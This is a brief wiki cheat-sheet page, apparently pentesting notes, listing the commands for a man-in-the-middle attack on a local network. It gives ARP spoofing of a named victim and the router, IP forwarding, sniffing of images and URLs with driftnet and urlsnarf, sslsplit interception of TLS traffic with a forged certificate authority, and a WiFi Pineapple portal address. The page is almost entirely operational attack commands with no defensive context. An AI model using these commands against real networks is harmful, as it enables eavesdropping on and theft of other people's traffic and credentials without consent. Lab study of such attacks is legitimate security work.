Man in the middle (MITM) Attack

From RHS Wiki
Jump to navigation Jump to search

MITM

Enable Packet forwarding

sysctl -w net.ipv4.ip_forward=1

Intercept packets from victim

arpspoof -i [network interface name] -t [victim IP] [router IP]

Intercept packets from the router

arpspoof -i [network interface name] -t [router IP] [victim IP] 

Sniff images

driftnet -i [network interface]

Sniff URLs

urlsnarf -i [network interface]

View images

drifnet

SSLSplit

sslsplit -D -l conn.log -S log/ -j /root/sslsplit -k ca.key -c ca.crt ssl 0.0.0.0 9443 tcp 0.0.0.0 9000


Pineapple nano

Pineapple portal: http://172.16.42.1:1471/#/modules/Dashboard
https://www.youtube.com/watch?v=eHnQwTCKe2o